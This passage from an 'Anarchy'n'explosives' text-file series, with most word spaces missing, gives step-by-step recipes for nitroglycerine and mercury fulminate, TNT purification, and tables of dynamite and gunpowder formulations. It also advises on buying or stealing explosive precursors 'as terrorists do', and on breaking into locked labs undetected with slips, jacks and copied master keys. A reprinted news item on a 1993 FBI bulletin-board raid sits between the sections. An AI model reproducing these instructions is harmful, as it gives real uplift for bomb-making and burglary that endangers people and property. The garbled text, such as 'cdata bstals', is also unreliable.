cakeisbrokenupandwashedwithwateronthesamefiltertoremoveexcessofacid.
ThespentacidcontainsconsiderableamountsofTNTinsolution;thisisprecipitated
bypouringtheacidintoalargevolumeofwater,filteredoff,rinsedwithwaterand
addedtothemainbatch.Alltheoftheproductiswashedthreeorfourtimesby
agitating it vigorously with hot water under which it is melted. After the last
washing,theTNTisgranulatedbyallowingittocoolslowlyunderhotwaterwhile
the stirring is continued. The product, filtered off and dried at ordinary room
temperature,isequaltoagoodcommercialsampleofcrudeTNT.Itmaybepurified
bydissolvinginwarmalcoholat60degreesandallowingtocoolslowlyoritmaybe
purifiedbydigestingwith5timesitsweightof5%sodiumhydrogensulfitesolution
at90degreesforhalfanhourwithvigorousstirring,washingwithhotwateruntilthe
washingsarecolourlessandfinallygranulatingasbefore.Theproductofthislast
treatmentisequaltoagoodcommercialsampleofpurifiedTNT.PureAlphaTNT,
meltingpoint80,8degrees,maybeprocuredbyrecrystallizingthismaterialonce
fromnitricacid(d.1,42)andoncefromalcohol.Well,that'sitandremembermy
warning!
FutureeditionsofAnarchy'n'explosivescomingsoon(wheneverIhavetimeto
typethemup!)
bydoctorDissectorofcourse!
Anarchy'n'explosivesvolume4
byJollyRoger
Inthisparticularvolume,wewillbediscussingtypesofDynamite,thesehigh
explosives being one of the more important or destructive of the anarchist' s
formulas.
Notethatsomeofthesemixturesareveryunstableorshockignited,andthatcare
shouldbeobservedwhenhandlingtheseunstablemixtures.Someoftheseformulae

deal with Trinitrotoluene (TNT) and the preparation for that is given under the
volume3,withinthisseries.
Warning: Thesearerealexplosivesandmaycauseseriousinjuryordeathupon
misuse.Donotattempttoprepareanyassampleifyouarenotfullycapableof
understandingthedangersandprecautionsoftheseproducts.Theseformulaearethe
trueformulaetocreatethesemixturesandarethereforeverydangerous.Useatyour
ownrisk!!!
GuhrDynamite

Ingredients
partKieselguhrandpartsNitroglycerin

Description
Thisdynamiteisprimarilyusedinblasting.Itisfairlystable,inthedroptest,it
explodedbythefallofa1kgweightthrough12to15cm.orbythefallofa2kg
weightthrough7cm.Thefrozenmaterialislesssensitive:adropofmorethan20
cm.witha1kgweightisneededtoexplodeit,andthe2kgweightisnecessaryto
explodeit.Frozenorunfrozen,itcanbedetonatedbyshootingatitwithamilitary
rifle,whenheldinapapercartridge.Generally,itisdetonatedwithasteelonsteel
blow.Velocityofdetonationvaryfrom6650to6800meterspersecondatadensity
loadingof1,50.
ExtraDynamite

Ingredients
Formula1Formula2
71%Nitroglycerin62%AmmoniumNitrate

23%AmmoniumNitrate25%Nitroglycerin
4%Collodion12%Charcoal
2%Charcoal1%Collodion
Description

 Thismaterialiscrumblyandplasticbetweenthefingers.Thismaterialcanbe
detonatedwithanydetonatingcap.
TableofDynamiteFormulae
IngredientStrength
15%20%25%30%35%40%45%50%55%60%
Nitroglycerin...................15202530354045505560
CombustibleMaterial.....20191817161514141516
SodiumNitrate................64605652484440352923
CalciumorMagnesiumCarbonate......1111111111
Amountsgiveninpercentage
TableofMoreDynamiteFormulae
IngredientStrength
OrdinaryLowFreezing
30%35%40%50%60%30%35%40%50%60%
Nitroglycerin..................15202227351317172127
NitrosubstitutionCompounds.........0000034456
AmmoniumNitrate........15152025301515202530
SodiumNitrate...............51484236245349453627
CombustibleMaterial.........816151110151413129
CalciumCarbonateorZincOxide......1111111111
Amountsgiveninpercentage
MasterTableofDynamites
IngredientFormula
123456789101112
AmmoniumNitrate...........5253606166378830000
PotassiumNitrate..............2100002,85730,53400
SodiumNitrate....................0125300000030,524,5
BariumNitrate.................................000000024100

NaorKChloride..................002120,52215800000
HydratedAmmoniumOxalate....16190000000000
AmmoniumChloride.......................600000000000
CerealorWoodMeal....0447,52152038,539,540,5
Glycerine.........................................000400000000
SpentTanBarkMeal....................0000000040100
PotassiumDichromate....................000000000055
SodiumCarbonate........................00000000.5.500
PowderedCoal................................000040000000
Nitrotoluene....................................006100000000
Dinitrotoluene.................................000005000000
Trinitrotoluene................................060000020000
Nitroglycerine......................554443,24425252530

Allamountsareinpercentages
Well,that'sitfornow.Havefun!Hehehehehe!Useatyourownrisk!!!Till
later(futuremagazinescomingsoon!)!
Anarchy'n'explosivesvolume5
byJollyRoger
Well,hasn'titbeenlongsinceVolume4ofAnarchy'n'Explosives?Well,Ifinally
gotaroundtotypingupanothervolume.Thisonewillbededicatedtotheextremely
simpleandmoreaccessibleexplosivesandincendiariestobepreparedathomeor
laboratory;dependingupontheenvironmentyouhaveaccesstoorareaccustomed
to.Anyway,gettingbackdowntobusiness,Imust(again),putupthissign.
Warning:Theseexplosives/incendiariesarereal,nottoys.Useextremecaution
whenpreparingandapplyingwhenapplicable.Failuretodosomayresultininjury
or death. Useat your own risk ! Enough of the warnings and notes; for further
informationand/orcommentsonthisseriesofeverpopularexplosives,contactme(I
don'tsignthese"publications")ontheKnaveryBBSatxxxxxxxxxxonthepublic
messagebase,Ishouldbereadingsomerequestsifyouleavethem.Andvolume
number6shouldbecomingoutsoonerthanthetimebetween4and5,butdon't
countonit.
Bulkpowders
Bulkpowdersaretypesofgunpowdersconsistingofnitrocelluloseandamixture
of other chemically explosive solutions. These nitrocellulose fibres are stuck
together,butarenotcompletelycollided.Somecontainlittleelsebutnitrocellulose;
others contain, in addition to potassium and barium nitrates, camphor, vaseline,
paraffin, lampblack, starch, dextrine, potassium dichromate or other oxidizing or
deterrentsaltsanddiphenylamineforstabilization,andarecolouredinavarietyof
brillianthuesbymeansofcoltardyes.Threetypicalbulkpowdersaremadeup

accordingtotheapproximateformulastabulatedbelow:

Nitrocellulose.............................84,087,089,0
%Ninnitrocellulose.................13,212,912,9
Potassiumnitrate..........................7,56,06,0
Bariumnitrate...............................7,52,03,0
Starch.............................................1,0
Paraffinoil.....................................4,0.
Diphenylamine.............................1,01,01,0
Themixtureismixedinwarmwateranddriedthoroughly.Theneithergranulated
ormadeintopowderbycrushingwithawoodenblockandscreenedthrougha12
meshsieve.Thematerialisthenstoredinamoistureresistantcontainerforfutureor
immediateuse.
Mercuryfulminate
Mercuryfulminateisaninitiatingexplosive,commonlyappearingaswhiteorgrey
crystals.Itisextremelysensitivetoinitiationbyheat,friction,sparkorflameand
impact. It detonates when initiated by any of these means. It is pressed into
containers,usuallyat3000psi,foruseindetonatorsandblastingcaps.However,
whencompressedatgreaterandgreaterpressure(upto30000psi),itbecomes"dead
pressed."Inthiscondition,itcanonlybedetonatedbyanotherinitialdetonating
agent.Mercuryfulminategraduallybecomesinertwhenstoredcontinuouslyabove
100 degrees F. A dark coloured product of deterioration gives evidence of this
effect.Mercuryexfulminateisstoredunderwaterexceptwhenthereisdangerof
freezing.Thenitisstoredunderamixtureofwaterandalcohol. Preparationof
MercuryFulminate.FivegramsofmercuryisaddedExt55cc.ofnitricacid(specific
gravity1,42)ina100cc.Erlenmeyerflaskandthemixtureisallowedtostand
withoutshakinguntilthemercuryhasgoneintosolution.Theacidliquidisthen
pouredinto50cc.Of90%alcoholina500cc.beakerinthehood.Thetemperature
ofthemixturerises,avigorousreactioncommences,whitefumescomeoffandcdata
bstalsoffulminatesoonbegintoprecipitate.Redfumesappearandtheprecipitation
of the fulminate becomes more rapid, then white fumes again as the reaction
moderates.Afterabout20minutes,thereactionisover;waterisaddedandthecdata
bstalsarewashedwithwaterrepeatedlybydecantationuntilthewashingsareno
longer acid to litmus. The product consists of greyish yellow cdata bstals, and
correspondstoagoodgradeofcommercialfulminate.Itmaybeobtainedwhiteand
entirelypurebydissolvinginstrongammoniawater,filteringandreprecipitatingby
theadditionof30%aceticacid.Thepurefulminateisfilteredoff,washedseveral
timeswithcoldwaterandstoredunderwateror,ifaverysmallamountisdesiredfor
experimentalpurposes,itisdriedinadesiccator.
Amatol

 Description:amatolisahighexplosive,whittobuffincolour.Itisamixtureof
ammoniumnitrateandTNT,witharelativeeffectivenessslightlyhigherthanthatof
TNTalone.Commoncompositionsvaryfrom80%ammoniumnitrateand20%
TNTto40%ammoniumnitrateand60%TNT.Amatolisusedasthemainbursting
charge in artillery shells and bombs. Amatol absorbs moisture and can form
dangerouscompoundswithcopperandbrass.Therefore,itshouldnotbehousedin
containersofsuchmetals.
Blackpowders
Blackpowdersburneitherquicklyorveryslowlydependingonthecompositionof
suchamixture;however,thesepowdersproducesmoke,oftengreatamountsandis
most useful in applications where smoke is no object. It is the best for
communicatingfireandforproducingaquick,hotflame.Blackpowderisusedin
bothpropellantchargesforshrapnelshells,insalutingandblankfirecharges,asthe
bursting charge of practice shells and bombs, as a propelling charge in certain
pyrotechnic pieces and either with or without the admixture of other substances
whichmodifytherateofburning,inthetimetrainringsandinotherpartsoffuses.
Belowisalistofblackpowdersandtheircompositions.
(Brown)
NameSaltPeterCharcoalSulfur
England......................79(18)3
England......................77,4(17,6)5
Germany......................78(19)3
Germany......................80(20)
France..........................78(19)3
Forte............................721513|
BlastingLente..............403030|
BlackOrdinaire............621820|
Powders
FBIraidsmajorOhiocomputerbulletinboard
byJollyRoger
TheFederationBureauofInvestigationonSaturday,Jan.30,1993,raided"Rusty
&Edie's",acomputerbulletinboardlocatedinBoardman,Ohio,whichhasallegedly
beenillegallydistributingcopyrightedsoftwareprograms.Seizedintheraidonthe
Rusty & Edie's bulletin board were computers, hard disk drives and
telecommunicationsequipment,aswellasfinancialandsubscriberrecords.Forthe
pastseveralmonths,theSoftwarePublishersAssociation("Spa")hasbeenworking

withtheFBIininvestigatingtheRusty&Edie'sbulletinboardandaspartofthat
investigation has downloaded numerous copyrighted business and entertainment
programsfromtheboard.TheSpainvestigationwasinitiatedfollowingthereceiptof
complaints fromanumberofSpamembersthattheirsoftwarewasbeingillegally
distributedontheRusty&Edie'sBBS.TheRusty&Edie'sbulletinboardwasone
ofthelargestprivatebulletinboardsinthecountry.Ithad124nodesavailableto
callersandover14000subscribersthroughouttheUnitedStatesandseveralforeign
countries.Todate,theboardhasloggedinexcessof3,4millionphonecalls,with
newcallscominginattherateofover4000perday.Itwasestablishedin1987and
hadexpandedtoincludeover19gigabytesofstoragehousingover100000files
available to subscribers for downloading. It had paid subscribers throughout the
UnitedStatesandseveralforeigncountries,includingCanada,Luxembourg,France,
Germany, Finland, the Netherlands, Spain, Sweden and the United Kingdom. A
computerbulletinboardallowspersonalcomputeruserstoaccessahostcomputerby
amodemequippedtelephonetoexchangeinformation,includingmessages,files,
andcomputerprograms.Thesystemsoperator(Sysop)isgenerallyresponsiblefor
the operation of the bulletin board and determines who is allowed to access the
bulletinboardandunderwhatconditions.Forafeeof$89peryear,subscribersto
theRusty&Edie'sbulletinboardweregivenaccesstotheboard'scontentsincluding
manypopularcopyrightedbusinessandentertainmentpackages.Subscriberscould
"download"orreceivethesefilesforuseontheirowncomputerswithouthavingto
paythecopyrightedowneranythingforthem."TheSpaapplaudstheFBI'saction
today,"saidIleneRosenthal,generalcounselfortheSpa."ThisshowsthattheFBI
recognizestheharmthattheftofintellectualpropertycausestooneoftheU.S.'s
most vibrant industries. It clearly demonstrates a trend that the government
understandstheseriousnessofsoftwarepiracy".TheSpaisactivelyworkingwiththe
FBI in the investigation of computer bulletin boards, and similar raids on other
boards are expected shortly. Whether it's copied from a program purchased at a
neighbourhoodcomputerstoreordownloadedfromabulletinboardthousandsof
milesaway,piratedsoftwareaddstothecostofcomputing.AccordingtotheSpa,in
1991, the software industry lost $ 1, 2 billion in the U. S. alone. Losses
internationallyareseveralbilliondollarsmore."Manypeoplemaynotrealizethat
softwarepiratescausepricestobehigher,inpart,tomakeupforpublisherlosses
frompiracy,"saysKenWasch,executivedirectoroftheSpa.Inaddition,theyruin
thereputationofthehundredsoflegitimatebulletinboardsthatserveanimportant
functionforcomputerusers".TheSoftwarePublishersAssociationistheprincipal
tradeassociationofthepersonalcomputersoftwareindustry.It'sover1000members
representtheleadingpublishersinthebusiness,consumerandeducationsoftware
markets.TheSpahasofficesinWashingtonD.C.andParis,France.
Contact:SoftwarePublishersAssociation,Washington

IleneRosenthal
TerriChilds

202/4521600Ext.318
202/4521600Ext.320

Buyingexplosivesandpropellants
byJollyRoger
Almost any city or town of reasonable size has a gun store and one or more
pharmacies. Thesearetwoof theplaces thatpotentialterroristsvisit inorder to
purchaseexplosivematerial.Allthatonehastodoisknowsomethingaboutthenon
explosiveusesofthematerials.Blackpowder,forexample,isusedinblackpowder
firearms.Itcomesinvarying"grades",witheachdifferentgradebeingaslightly
differentsize.Thegradeofblackpowderdependsonwhatthecalibreofthegunthat
itisusedin;afinegradeofpowdercouldburntoofastinthewrongcalibreweapon.
Theruleis:thesmallerthegrade,thefastertheburnrateofthepowder.
Blackpowder
Blackpowderisgenerallyavailableinthreegrades.Asstatedbefore,thesmaller
thegrade,thefasterthepowderburns.Burnrateisextremelyimportantinbombs.
Sinceanexplosionisarapidincreaseofgasvolumeinaconfinedenvironment,to
makeanexplosion,aquickburningpowderisdesirable.Thethreecommongrades
ofblackpowderarelistedbelow,alongwiththeusualborewidth(calibre)ofwhat
theyareusedin.Generally,thefastestburningpowder,theFFFgradeisdesirable.
However,theothergradesandusesarelistedbelow:
GradeBoreWidthExampleofgun
F.50orgreatermodelcannon;somerifles
FF.36.50largepistols;smallrifles
FFF.36orsmallerpistols;derringers
TheFFFgradeisthefastestburning,becausethesmallergradehasmoresurface
areaorburningsurfaceexposedtotheflamefront.Thelargergradesalsohaveuses
whichwillbediscussedlater.Thepricerangeofblackpowder,perpound,isabout$
8,50$9.Thepriceisnotaffectedbythegradeandsoonesavesoneselftimeand
workifonebuysthefinergradeofpowder.Themajorproblemswithblackpowder
arethatitcanbeignitedaccidentallybystaticelectricityandthatithasatendencyto
absorbmoisturefromtheair.Tosafelycrushit,aonewoulduseaplasticspoonand
awoodensaladbowl.Takingasmallpileatatime,heorshewouldapplypressureto
thepowderthroughthespoonandrubitinaseriesofstrokesorcircles,butnottoo
hard.Itisfineenoughtousewhenitisaboutasfineasflour.Thefineness,however,
isdependantonwhattypeofdeviceonewishestomake;obviously,itwouldbe
impracticaltocrushenoughpowdertofilla1footby4inchradiuspipe.Anyadult

canpurchaseblackpowder,sinceanyonecanownblackpowder firearmsinthe
UnitedStates.
Pyrodex
Pyrodexisasyntheticpowderthatisusedlikeblackpowder.Itcomesinthesame
grades, but it is more expensive per pound. However, a one pound container of
pyrodexcontainsmorematerialbyvolumethanapoundofblackpowder.Itismuch
easiertocrushtoaveryfinepowderthanblackpowderanditisconsiderablysafer
andmorereliable.Thisisbecauseitwillnotbesetoffbystaticelectricity,asblack
canbeanditislessinclinedtoabsorbmoisture.Itcostsabout$10perpound.Itcan
becrushedinthesamemannerasblackpowderoritcanbedissolvedinboiling
wateranddried.
Rocketenginepowder
Oneofthemostexcitinghobbiesnowadaysismodelrocketry.Estesisthelargest
producerofmodelrocketkitsandengines.Rocketenginesarecomposedofasingle
largegrainofpropellant.Thisgrainissurroundedbyafairlyheavycardboardtubing.
Onegetsthepropellantbyslittingthetubelengthwiseandunwrappingitlikea
papertowelroll.Whenthisisdone,thegreyfireclayateitherendofthepropellant
grainmustberemoved.Thisisusuallydonegentlywithaplasticorbrassknife.The
materialisexceptionallyhardandmustbecrushedtobeused.Bygrippingthegrain
inthewidestsettingonasetofpliersandputtingthegrainandpowderinaplastic
bag,thepowderwillnotbreakapartandshatterallover.Thisshouldbedonetoall
thelargechunksofpowder,andthenitshouldbecrushedlikeblackpowder.Rocket
enginescomeinvarioussizes,rangingfrom1/4A2TtotheincrediblypowerfulD
engines.Thelargertheengine,themoreexpensive.Denginescomeinpackagesof
threeandcostabout$5perpackage.Rocketenginesareperhapsthesinglemost
useful item sold in stores to a terrorist, since they can be used as is or can be
cannibalizedfortheirexplosivepowder.
Rifle/shotgunpowder
Riflepowderandshotgunpowderarereallythesamefromapracticalstandpoint.
They are both nitrocellulose based propellants. They will be referred to as
gunpowderinallfuturereferences.Smokelessgunpowderismadebytheactionof
concentratednitricandsulphuricaciduponcottonorsomeothercellulosematerial.
Thismaterialisthendissolvedbysolventsandthenreformedinthedesiredgrain
size. When dealing with smokeless gunpowder, the grain size is not nearly as
importantasthatofblackpowder.Bothlargeandsmallgrainedsmokelesspowder
burn fairly slowly compared to black powder when unconfined, but when it is
confined,gunpowderburnsbothhotterandwithmoregaseousexpansion,producing
more pressure. Therefore, the grinding process that is often necessary for other
propellants is not necessary for smokeless powder. Powder costs about $ 9 per
pound.Inmoststatesanycitizenwithavaliddriver'slicensecanbuyit,sincethere

arecurrentlyfewrestrictionsonriflesorshotgunsintheU.S.TherearenowID
checksinmanystateswhenpurchasingpowderataretailoutlet.Mailordersaren't
subjecttosuchchecks.Riflepowderandpyrodexmaybepurchasedbymailorder,
butUPSchargeswillbehigh,duetoDotregulationsonpackaging.
Lockpicking3
byJollyRoger
Ifitbecomesnecessarytopickalocktoenteralab,theworld'smosteffective lock
pickisdynamite,followedbyasledgehammer.Thereareunfortunately,problems
withnoiseandexcessstructuraldamagewiththesemethods.Thenextbestthing,
however,isasetofprofessionallockpicks.These,unfortunately,aredifficultto
acquire.Ifthedoortoalabislocked,butthedeadboltisnotengaged,thenthereare
otherpossibilities.Therulehereis:ifonecanseethelatch,onecanopenthedoor.
Thereareseveraldeviceswhichfacilitatefreeingthelatchfromitsholeinthewall.
Dentaltools,stiffwire(20gauge),speciallybentaluminiumfromcans,thinpocket
knivesandcreditcardsarethetoolsofthetrade.Thewaythatallthesetoolsand
devicesareusesissimilar:pull,pushorotherwisemovethelatchoutofitsrecessin
thewall,thusallowingthedoortoopen.Thisisdonebyslidingwhatevertoolthat
youareusingbehindthelatchandforcingthelatchbackintothedoor.Mostmodern
doorknoblockshavetwofingers.Thelargerfingerholdsthedoorclosedwhilethe
second(smaller)fingeronlypreventsthefirstfingerfrombeingpressedinwhenit
(thesecondfinger)ispressedinbythecatchplateofthedoor.Ifyoucanseparatethe
catchplateandthelocksufficientlyfar,thesecondfingerwillslipoutenoughto
permitthefirstfingertobeslipped.
(Ill.2.11)
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Small>(|}<Thelarge(first)finger
second|___}<
finger
Somemethodsforgettingthroughlockeddoorsare:
Anothermethodofforcedentryistouseanautomobilejacktoforcetheframe
aroundthedooroutofshape,freeingthelatchorexposingittotheabovemethods.
Thisis possible because mostdoor frames are designedwithaslight amountof
"give".Simplyputthejackintopositionhorizontallyacrosstheframeinthevicinity
ofthelatchandjackitout.Iftheframeiswooditmaybepossibletoremovethejack
aftershuttingthedoor,whichwillrelockthedoorandleavefewsignsofforced
entry.Thistechniquewillnotworkinconcreteblockbuildingsandit'sdifficultto
justifyanautojacktothesecurityguards;
Useascrewdriverortwotoprythelockanddoorapart.Whileholdingthemapart,
trytoslipthelock.Screwdrivers,whilenotentirelyinnocent,aremuchmoresubtle

thanautojacksandmuchfasteriftheywork.Ifyou'reintounsubtle,Isupposea
crowbarwouldworktoo,butthenwhybothertoslipthelockatall?
Findasetofdoubledoors.Theyareparticularlyeasytopryapartfarenoughtoslip;
Ifthelockisoccasionallyaccessibletoyouwhileopen,"adjust"orreplacethecatch
platetomakeitoperatemoresuitably(i.e.,worksothatitlets*both*fingersout,so
thatitcanalwaysbeslipped).Ifyouwant,disassemblingthelockandremoving
someofthepinscanmakeitmucheasiertopick;
If,forsomeoddreason,thehingesareonyourside(i.e.,thedooropensoutward),
remove the hinge pins (provided they aren't stopped with welded tabs).
Unfortunately,thistoolackssubtlety,inspiteofitseffectiveness;
Ifthedoorcannotbeslippedandyouwillwanttogetthroughregularly,breakthe
mechanism.Useofsufficientforcetomakethefirstfingerretreatwhilethesecond
fingerisretreatedwillbreaksomelocks(e.g.,Bestlocks)insuchawaythatthey
maythereafterbeslippedtrivially,yetotherwiseworkinallnormalways.Useofa
hammer and/ or screwdriver is recommended. Some care should be used not to
damagethedoorjambwhenattemptingthisonclosedandlockeddoors,soasnotto
attracttheattentionoftheusers/owners/locksmith/police/etc.
Lookaroundindesks.Peopleveryoftenleavekeystosensitivethingsinthemor
otherobviousplaces.Especiallykeystosharedcriticalresources,likesupplyrooms,
thataretypicallykeylimitedbutthateveryoneneedsaccessto.Takemeasurements
withamicrometer,ormakeatracing(laykeyunderpaperandscribbleontop)orbe
dullandmakeawaximpression.Getblanksforthekeytype(canbeverydifficult
forbetterlocks;Iwon'tgointomethods,otherthantosaythatifyoucangetother
keysmadefromthesameblank,youcanoftenworkwonderswithalittleingenuity)
anduseafiletoreproducethekey.Usingamicrometerworksbest:keysmadefrom
micmeasurementsaremorelikelytoworkconsistentlythankeysmadebyanyother
method.Ifyouustracings,itislikelytotakemanytriesbeforeyouobtainakeythat
worksreliably.Also,ifyoucan'borrow'thecylinderanddisassembleit,pinlevels
canbeobtainedandkeysconstructed;
Simplelocks,likedesks,canbepickedfairlyeasily.Manydeskshavesimplethree
orfourpinlocksofonlyafewlevels,andcanbeconsistentlypickedbyapatient
personinafewminutes.Asmallscrewdriverandapaperclipwillworkwondersin
practisedhands.Applyaslighttorquetothelockinthedirectionofopeningwiththe
screwdriver.Thenrakethepinswiththeunfoldedpaperclip.Withpractice,you'll
applyenoughpressurewiththescrewdriverthatthepinswillalignproperly(they'll
catchonthecylindersomewherebetweenthetopandbottomoftheirnormaltravel),
andoncethey'realllinedup,additionalpressureonthescrewdriverwillthenopen
thelock.This,inconjunctionwith(7)canbeveryeffective.Thisworksbetterwith
olderorsloppilymachinedlocksthathaveafairamountofplayinthecylinder.Even
olderqualitylockscanbepickedinthismanner,iftheircylindershavebeenworn
enoughtogiveenoughplaytoallowpinstocatchreliably.Evenwithawellworn
qualitylock,though,itgenerallytakesa*lot*ofpatience;
Custodialservicesoftenopenupeverythinginsightandthentakebreaks.Makethe
mostofyouropportunities;
Nomatterwhatyou'redoing,looklikeyoubelongthere.Nothingmakesanyone

more suspicious than someone skulking about, obviously trying to look

inconspicuous.Ifthereareseveralofyou,havesomeinnocuousandnormalseeming
warningmethod("Hey,dummy!Whattimeisit?")sothattheycangetanything
suspiciousputaway.Don'ttravelinlargegroupsat3:00am.Remember,morethan
onecarthiefhasmanagedtoenlistacop'saidinbreakingintoacar.Rememberthis.
Securitypeopleusually*like*tohelppeople.Don'tmakethemsuspiciousorannoy
them.Ifyoudorunintosecuritypeople,trytomakesurethattherewon'tbeanytheft
orbreakinsreportedtherethenextday;
Consider the possibilities of master keys. Often, every lock in a building or
department will have a common master (building entrance keys are a common
exception).Takeapartsomelocksfromdifferentplacesthatshouldhavecommon
masters, measure the different pin lengths in each, and find lengths in common.
Experiment.Thengetintothoseplacesyou're*really*curiousabout;
Controlkeysarefun,too.Thesekeysallowtheusertoremovethelock'scoreand
aregenerallymasters.(Apairofneedlenosepliersorsimilartoolcanthenbeusedto
openthelock,ifdesired).

Slippingalock
Thebestmaterialwe'vefoundforslipssofarissoftsheetcopper.Itisquiteflexible,
soitcanbeworkedintojambseasilyandcanbeprebentasneeded.Intheplaneof
thesheet,however,itisfairlystrongandpullsnicely.Ofcourse,ifthey'reflexible
enough,creditcards,studentIDsetc.,workjustfineonlocksthathavebeenmade
slippable if the door jamb is wide enough. Wonderfully subtle, quick, and
delightfullyeffective.Don'tleavehomewithoutone.Thesheetshouldthenbefolded
toproduceanL,JorUshapeddevicethatlookslikethis:
(Ill.#1)
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Wehastentoaddherethatmanyormostcollegesanduniversitieshaveverystrict
policiesaboutunauthorizedpossessionofkeys.Atmost,itisatleastgroundsfor
expulsion,evenwithoutfilingcriminalcharges.Don'tgetcaughtwithkeys!!!The
homemadeonesareparticularlyobvious,astheydon'thavetheusualstampsand
marksthatthelocksmithsputontonameandnumberthekeys.]Weshouldalso
pointoutthatifyoumakeanuisanceofyourself,therearevariousnastythingsthat
canbedonetocatchyouand/orslowyoudown.Forinstance,byputtingspecialpin
mechanismsin,lockscanbemadetotrapanykeyusedtoopenthem.Ifyouloseone
thisway,whatcanIsay?Atleastdon'tleavefingerprintsonit.Ormakesurethey're
someoneelse's.Toomuchmischiefcanalsotemptthepowersthatbetorekey.
Listofusefulhouseholdchemicalsandtheiravailability
byJollyRoger
Anyone can get many chemicals fromhardwarestores, supermarkets and drug
storestogetthematerialstomakeexplosivesor otherdangerouscompounds.A
wouldbeterroristwouldmerelyneedastationwagonandsomemoneytoacquire
manyofthechemicalsnamedhere.
ChemicalUsedinAvailableat
alcohol,ethyl*alcoholicbeveragesliquorstores
solvents(95%min.forboth)hardwarestores
ammonia+clearhouseholdammoniasupermarkets/
7elevenammoniuminstantcoldpaks,drugstores,
nitratefertilizersmedicalsupplystores
nitrousoxidepressurizingwhipcreampartysupplystores
poppers(likeCO2ctgs.)headshops(TheAlleyatBelmont/Clark,Chgo)
magnesiumfirestarterssurplus/campingstores
lecithinevitaminspharmacies/drugstores
mineraloilcookinglaxativesupermarket/drugstores
mercurymercurythermometerssupermarkets,hardwarestores
sulfuricacidunchargedcarbatteriesautomotivestores

glycerinepharmacies/drugstores
sulfurgardeninggardening/hardwarestore
charcoalcharcoalgrillssupermarketsgardeningstores
sodiumnitratefertilizergardeningstore
cellulose(cotton)firstaiddrugmedicalsupplystores
strontiumnitrateroadflaressurplus/autostores,
fueloilkerosenestoves,surplus/campingstores,
bottledgaspropanestovessurplus/campingstores,
potassiumpermanganatewaterpurificationpurificationplants
hexamineorhexaminestovessurplus/campingstores
methenamine(camping)
nitricacid^cleaningprintingprintingshopsplatesphotographystores
iodinedisinfectant(tinture)pharmacy,Osco
sodiumperchloratesolidoxpelletshardwarestores(veryimpure)
forcuttingtorches
^Nitricacidisverydifficulttofindnowadays.Itisusuallystolenbybomb
makersormadebytheprocessdescribedinalatersection.Adesiredconcentration
formakingexplosivesabout70%.Andtheiodinesoldindrugstoresisusuallynot
thepurecrystalineformthatisdesiredforproducingammoniumtriiodidecrystals.
Toobtainthepureform,itmustusuallybeacquiredbyadoctor'sprescription,but
thiscanbeexpensive.Onceagain,theftisthemeansthatterroristsresultto.
Nitroglycerine
byJollyRoger
Nitroglycerineisoneofthemostsensitiveexplosives,ifitisnotthemostsensitive.
Althoughitispossibletomakeitsafely,itisdifficult.Manyayounganarchisthas
been killed or seriously injured while trying to make the stuff. When Nobel's
factoriesmakeit,manypeoplewerekilledbythealltofrequentfactoryexplosions.
Usually, as soon as it is made, it is converted into a safer substance, such as
dynamite.Anidiotwhoattemptstomakenitroglycerinewouldusethefollowing
procedure:
MaterialEquipment
distilledwatereyedropper

tablesalt100mlbeaker
sodiumbicarbonate200300mlbeakers(2)
concentratednitricicebathcontainer
acid(13ml)(aplasticbucketserveswell)
concentratedsulfuriccentigradethermometer
acid(39ml)
glycerinebluelitmuspaper
Place150mlofdistilledwaterintooneofthe200300mlbeakers.Intheother
200300mlbeaker,place150mlofdistilledwaterandaboutaspoonfulofsodium

bicarbonate,and stir them untilthesodium bicarbonate dissolves.Donotputso

muchsodiumbicarbonateinthewatersothatsomeremainsundissolved.Createan
icebathbyhalffillingtheicebathcontainerwithice,andaddingtablesalt.Thiswill
causetheicetomelt,loweringtheoveralltemperature.Placethe100mlbeakerinto
theicebathandpourthe13mlofconcentratednitricacidintothe100mlbeaker.Be
surethatthebeakerwillnotspillintotheicebath,andthattheicebathwillnot
overflowintothebeakerwhenmorematerialsareaddedtoit.Besuretohavealarge
enoughicebathcontainertoaddmoreice.Bringthetemperatureoftheaciddownto
about20degreescentigradeorless.Whenthenitricacidisascoldasstatedabove,
slowlyandcarefullyaddthe39mlofconcentratedsulfuricacidtothenitricacid.
Mixthetwoacidstogetherandcoolthemixedacidsto10degreescentigrade.Itisa
goodideatostartanothericebathtodothis.Withtheeyedropper,slowlyputthe
glycerineintothemixedacids,onedropatatime.Holdthethermometeralongthe
topofthemixturewherethemixedacidsandglycerinemeet. Donotallowthe
temperaturetogetabove30degreescentigrade;ifthetemperaturerisesabove
thistemperature,watchout!!!Theglycerinewillstarttonitrateimmediatelyand
thetemperaturewillimmediatelybegintorise.Addglycerineuntilthereisathin
layerofglycerineontopofthemixedacids.Itisalwayssafesttomakeanyexplosive
insmallquantities.Stirthemixedacidsandglycerineforthefirsttenminutesof
nitration,addingiceandsalttotheicebathtokeepthetemperatureofthesolutionin
the100mlbeakerwellbelow30degreescentigrade.Usually,thenitroglycerinewill
formonthetopofthemixedacidsolutionandtheconcentratedsulfuricacidwill
absorbthewaterproducedbythereaction.Whenthereactionisoverandwhenthe
nitroglycerineiswellbelow30degreescentigrade,slowlyandcarefullypourthe
solutionofnitroglycerineandmixedacidintothedistilledwaterinthebeakerinstep
1.Thenitroglycerineshouldsettletothebottomofthebeaker,andthewateracid
solutionontopcanbepouredoffanddisposedof.Drainasmuchoftheacidwater
solution as possible without disturbing the nitroglycerine. Carefully remove the
nitroglycerinewithacleaneyedropper,andplaceitintothebeakerinstep2.The
sodiumbicarbonatesolutionwilleliminatemuchoftheacid,whichwillmakethe
nitroglycerinemorestableandlesslikelytoexplodefornoreason,whichitcando.
Testthenitroglycerinewiththelitmuspaperuntilthelitmusstaysblue.Repeatthis
stepifnecessaryandusenewsodiumbicarbonatesolutionsasinstep2.Whenthe
nitroglycerineisasacidfreeaspossible,storeitinacleancontainerinasafeplace.
The best place to store nitroglycerine is far away from anything living or from
anythingofanyvalue.Nitroglycerinecanexplodefornoapparentreason,evenifitis
storedinasecurecoolplace.
Producingcellulosenitrate
(fromAndrewatCMU)
Iusedtomakenitrocellulose,though.Itwasnotguncottongrade,becauseIdidn't
haveoleum(H2SO4withdissolvedSO3);neverthelessitworked.AtfirstIgotmy
H2SO4fromalittleshopindowntownPhiladelphia,whichsoldsodaacidfire

extinguisherrefills.Notonlywastheacidconcentrated,cheapandplentiful,itcame
withenoughcarbonatetocleanup.I'daddKNO3andalittlewater(O.K.,I'dadd
theacidtothewaterbuttherewassolittlewater,whatwasaddedtowhatmade
littledifference.ItspatteredconcentratedH2SO4eitherway).Lateron,whenIcould
